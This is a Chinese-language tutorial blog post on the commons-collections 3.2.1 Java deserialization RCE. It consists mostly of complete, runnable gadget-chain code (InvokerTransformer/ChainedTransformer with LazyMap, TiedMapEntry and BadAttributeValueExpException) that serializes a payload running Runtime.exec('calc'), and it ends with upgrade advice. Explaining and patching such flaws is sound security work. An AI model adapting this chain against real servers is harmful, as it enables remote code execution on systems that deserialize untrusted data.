开始正文之前,我们的口号是:代码很有趣,安全很重要。
在Java开发中,我们经常会使用到commons-collections这个jar包,当它的版本小于或等于3.2.1时,存在反序列化和远程代码执行的漏洞。
TransformedMap这个类的decorate函数可以将一个普通的Map转换为一个TransformedMap,其第2、3参数分别对应当key改变和value改变时需要做的操作。所以此时如果修改其中的任意key或value,就会触发我们预先定义好的某些操作来对Map进行处理,具体的变换逻辑由Transformer类定义。
由于commons-collections内置了很多常见的transformer,我们可以利用InvokerTransformer通过反射的方式去调用任意的函数。通过getClass()、getMethod、invoke()进行反射,最终实现类似于:
((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")
而多个Transformer可以串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换,只需要传入一个Transformer数组即可。
代码如下:
package com.commons;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
public class ChainDemo {
public static void main(String[] args) {
//((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")
//构造恶意的chain
Transformer[] transformers = new Transformer[] {
//通过内置的ConstantTransformer来获取Runtime类
new ConstantTransformer(Runtime.class),
//通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,其后类似
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};
Transformer transformChain = new ChainedTransformer(transformers);
//普通的Map
Map mp=new HashMap();
mp.put("sw", "demo");
// 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain
Map transformMap = TransformedMap.decorate(mp, transformChain, transformChain);
// 修改TransformedMap中的一个值,成功执行命令
Map.Entry entry=(Map.Entry) transformMap.entrySet().iterator().next();
entry.setValue("test");
}
}
运行代码,可以看到成功弹出了计算器,如下所示:
要想远程RCE,服务端必须要有反序列化的入口,该类重写了readObject方法,并且在readObject方法中操作了序列化后的TransformedMap。
网上提到AnnotationInvocationHandler类,但是经过测试并未成功。最后我们从网上找到了一个位于javax.management包下的类:BadAttributeValueExpException.class
/*
* Copyright (c) 1999, 2013, Oracle and/or its affiliates. All rights reserved.
* ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*/
package javax.management;
import java.io.IOException;
import java.io.ObjectInputStream;
/**
* Thrown when an invalid MBean attribute is passed to a query
* constructing method. This exception is used internally by JMX
* during the evaluation of a query. User code does not usually
* see it.
*
* @since 1.5
*/
public class BadAttributeValueExpException extends Exception {
/* Serial version */
private static final long serialVersionUID = -3105272988410493376L;
/**
* @serial A string representation of the attribute that originated this exception.
* for example, the string value can be the return of {@code attribute.toString()}
*/
private Object val;
/**
* Constructs a BadAttributeValueExpException using the specified Object to
* create the toString() value.
*
* @param val the inappropriate value.
*/
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
/**
* Returns the string representing the object.
*/
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
这个类完全符合我们的要求,那么思路如下:
代码如下:
package com.commons;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
public class test1 {
public static Object Reverse_Payload() throws Exception {
Transformer[] transformers = new Transformer[] {
//通过内置的ConstantTransformer来获取Runtime类
new ConstantTransformer(Runtime.class),
//通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,其后类似
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};
Transformer transformChain = new ChainedTransformer(transformers);
//普通的Map
Map mp=new HashMap();
mp.put("sw", "demo");
Map lazyMap = LazyMap.decorate(mp, transformChain);
//通过类似延迟的特性,让其在序列化以后,在toString的时候再去获取不存在的键来触发payload
TiedMapEntry entry = new TiedMapEntry(lazyMap, "6666");
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valField = exception.getClass().getDeclaredField("val");
// 取消安全性检查,设置后才可以获取或者修改private修饰的属性
valField.setAccessible(true);
valField.set(exception, entry);
return exception;
}
public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload(),"F:/home/root/obj");
payloadTest("F:/home/root/obj");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
运行截图:
升级commons-collections为最新版本。